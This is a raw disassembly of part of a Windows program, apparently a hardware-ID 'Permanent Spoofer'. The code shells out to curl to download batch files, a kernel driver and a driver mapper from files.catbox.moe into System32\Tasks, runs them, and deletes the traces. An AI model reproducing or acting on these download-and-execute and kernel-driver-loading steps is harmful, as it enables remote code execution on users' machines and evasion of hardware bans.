movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140042aa0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [rsi]
lea rdx, [rbp + 0x408]
call r8
lea rcx, [rbp + 0x20]
call fcn.140039a00
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
lea rcx, str.C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksiqvw64e.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [0x1401eb489], r13b
movabs rsi, 0x2e48593e4cbd1466
cmp byte [0x1401ea9fc], 1
jne 0x140042c12
lea rcx, str.curl___silent_https:__files.catbox.moe_oh09l1.bat___output_C:WindowsSystem32Tasksdisk.bat__nul_2_1
mov byte [0x1401eb489], r13b
mov byte [0x1401eb488], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksdisk.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksdisk.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [0x1401ea9fc], r13b
cmp byte [0x1401eb488], 1
jne 0x140042c8a
lea rcx, str.curl___silent_https:__files.catbox.moe_g1k2xh.sys___output_C:WindowsSystem32Tasks_tpm.sys__nul_2_1
mov byte [0x1401eb489], r13b
mov byte [0x1401ea9fc], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_7khamo.bb___output_C:WindowsSystem32Tasksmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe_C:WindowsSystem32Tasks_tpm.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasks_tpm.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor r9d, r9d
mov byte [0x1401eb488], r13b
lea r8, str.Unload__Permanent_Spoofer
xor ecx, ecx
lea rdx, str.Make_Sure_To_Enable_TPM_To_Work
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [0x1401eb300]
lea rdx, str.PERM_SPOOF
movss xmm0, dword [0x140056588]
lea rcx, [rbp + 0x260]
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
movss xmm6, dword [rax + 0x49b4]
movss xmm7, dword [rax + 0x49b8]
call fcn.14000bce0
mov rcx, qword [0x1401eb300]
movss xmm0, dword [rbp + 0x120]
subss xmm0, dword [rbp + 0x260]
movss xmm1, dword [rbp + 0x124]
subss xmm1, dword [rbp + 0x264]
mulss xmm0, xmm14
mulss xmm1, xmm14
addss xmm0, xmm6
addss xmm1, xmm7
addss xmm0, dword [0x140056508]
addss xmm1, dword [0x1400564d0]
movss dword [rbp + 0x268], xmm0
movss dword [rbp + 0x26c], xmm1
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x880]
mov rdi, qword [rax + 0x2a8]
movups xmmword [rbp + 0x880], xmm15
call fcn.140004630
movss xmm2, dword [0x140056500]
lea rcx, str.PERM_SPOOF
mov rdx, qword [0x1401eb3d8]
lea r9, [rbp + 0x268]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb400]
call fcn.1400129f0
lea rcx, [rbp + 0x270]
mov dword [rbp + 0x270], 0x43420000
mov dword [rbp + 0x274], 0x43c80000
call fcn.140016980
mov dword [rbp + 0x10], 0x425c0000
lea r8, [rbp + 0x10]
mov dword [rbp + 0x14], 0x425c0000
lea rdx, [rbp + 0x180]
movabs rax, 0xcd021ac34852555c
xor ecx, ecx
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x180]
mov qword [rbp + 0x598], rax
xorps xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x180], xmm0
call fcn.140034300
test al, al
je 0x140042e52
mov eax, 1
mov dword [0x1401eb310], eax
call fcn.140012a90
cmp byte [0x1401eb489], 1
jne 0x140042e69
mov byte [0x1401eb488], r13b
jmp 0x140042e92
cmp byte [0x1401ea9fc], 1
jne 0x140042e82
mov byte [0x1401eb489], r13b
mov byte [0x1401eb488], r13b
jmp 0x140042e99
cmp byte [0x1401eb488], 1
jne 0x140042e99
mov byte [0x1401eb489], r13b
mov byte [0x1401ea9fc], r13b
movss xmm7, dword [0x1400564f8]
call fcn.140011ae0
call fcn.14000b810
mov rcx, qword [0x1401eb7c0]
lea r8, [0x1401eb7a8]
xorps xmm0, xmm0
mov edi, 1
movups xmmword [rbp + 0x5a0], xmm0
xor r9d, r9d
mov edx, edi
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1401eb7c0]
lea r8, [rbp + 0x5a0]
mov rdx, qword [0x1401eb7a8]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140008990
mov rcx, rax
call fcn.1400355c0
mov rcx, qword [0x1401eb7b0]
xor r8d, r8d
mov edx, edi
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x14003c495
call fcn.1400368f0
call fcn.140036d30
xor ecx, ecx
call fcn.140006500
call fcn.1400434e0
mov rcx, qword [0x1401eb3a8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x4f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x468]
call fcn.140039550
lea rcx, [rbp + 0x6d0]
call fcn.140039650
xor eax, eax
lea r11, [rsp + 0xad0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret